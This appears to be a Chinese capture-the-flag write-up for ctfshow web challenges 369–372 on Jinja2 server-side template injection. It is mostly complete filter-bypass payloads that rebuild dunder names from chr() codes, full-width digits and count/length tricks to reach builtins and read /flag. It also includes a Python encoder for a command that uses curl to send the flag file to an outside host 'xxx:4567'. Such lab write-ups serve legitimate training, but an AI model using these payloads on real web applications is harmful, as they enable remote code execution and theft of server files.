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web369
这把request过滤了，只能自己拼字符了
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join] 相当于 ""["__class__"] 举个例子，chr(97) 返回的是字符 'a'，因为 97 是小写字母 'a' 的 Unicode 编码值。 ""chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95) 相当于 ""__class__ ?name= {% set po=dict(po=a,p=a)|join%} //拼接出pop {% set a=(()|select|string|list)|attr(po)(24)%} //拼接出_ {% set ini=(a,a,dict(init=a)|join,a,a)|join%} //拼接出__init__ {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} //拼接出__globals__ {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} //拼接出__getitem__ {% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%} //拼接出__builtins__ {% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%} {% set chr=x.chr%} //使用chr类来进行RCE因为等会要ascii转字符 {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} //拼接出/flag {%print(x.open(file).read())%} web370
过滤了数字用全角数字代替半角数字
def half2full(half): full = '' for ch in half: if ord(ch) in range(33, 127): ch = chr(ord(ch) + 0xfee0) elif ord(ch) == 32: ch = chr(0x3000) else: pass full += ch return full while 1: t = '' s = input("输入想要转换的数字字符串：") for i in s: t += half2full(i) print(t) ?name= {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(２４)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(４７)%2bchr(１０２)%2bchr(１０８)%2bchr(９７)%2bchr(１０３)%} {%print(x.open(file).read())%} web371
?name= {% set c=(t|count)%} #拼接出0 {% set cc=(dict(e=a)|join|count)%} 1 {% set ccc=(dict(ee=a)|join|count)%} 2 {% set cccc=(dict(eee=a)|join|count)%} 3 {% set ccccc=(dict(eeee=a)|join|count)%} 4 {% set cccccc=(dict(eeeee=a)|join|count)%} 5 {% set ccccccc=(dict(eeeeee=a)|join|count)%} 6 {% set cccccccc=(dict(eeeeeee=a)|join|count)%} 7 {% set ccccccccc=(dict(eeeeeeee=a)|join|count)%} 8 {% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%} 9 {% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%} 10 {% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%} 11 {% set coun=(ccc~ccccc)|int%} 24 {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd= %} {%if x.eval(cmd)%} baozongwi 没影响给自己加个标签 {%endif%} cmd
def aaa(t): t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int' return t s='__import__("os").popen("curl http://xxx:4567?f=`tac /f*`").read()' def ccchr(s): t='' for i in range(len(s)): if i<len(s)-1: t+='chr('+aaa(str(ord(s[i])))+')%2b' else: t+='chr('+aaa(str(ord(s[i])))+')' return t print(ccchr(s)) 研究了一下发现只有curl可以用，nc\ping\weget都不可以
web372
发现count被禁用 使用length代替
?name={% set c=(t|length)%}{% set cc=(dict(e=a)|join|length)%}{% set ccc=(dict(ee=a)|join|length)%}{% set cccc=(dict(eee=a)|join|length)%}{% set ccccc=(dict(eeee=a)|join|length)%}{% set cccccc=(dict(eeeee=a)|join|length)%}{% set ccccccc=(dict(eeeeee=a)|join|length)%}{% set cccccccc=(dict(eeeeeee=a)|join|length)%}{% set ccccccccc=(dict(eeeeeeee=a)|join|length)%}{% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%}{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%}{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%}{% set coun=(ccc~ccccc)|int%}{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(coun)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd= %}{%if x.eval(cmd)%}{%endif%} 拓展知识，与本题无关
半角字符改全角字符
半角字符：包和bao123 全角字符：包和ｂａｏ１２３有点看不出来，就看这个ｂａｏ１２３ def half2full(half): full = '' for ch in half: if ord(ch) in range(33, 127): ch = chr(ord(ch) + 0xfee0) elif ord(ch) == 32: ch = chr(0x3000) else: pass full += ch return full t='' s="bao" for i in s: t+='\''+half2full(i)+'\',' print(t) 